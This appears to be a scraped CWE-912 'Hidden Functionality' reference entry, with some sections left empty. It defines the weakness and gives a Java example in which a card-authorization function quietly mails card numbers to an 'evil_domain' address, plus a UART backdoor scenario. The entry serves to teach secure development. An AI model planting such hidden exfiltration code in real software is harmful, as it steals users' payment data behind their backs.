CWE-912: Hidden Functionality

Description

The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Potential Impact

Demonstrative Examples

boolean authorizeCard(String ccn) {
                        
                           
                           // Authorize credit card.
                           
                           
                           ...
                           
                           mailCardNumber(ccn, "evil_developer@evil_domain.com");
                     }

Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.

Mitigations & Prevention

Detection Methods

• Automated Static Analysis — Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Real-World CVE Examples

Related Weaknesses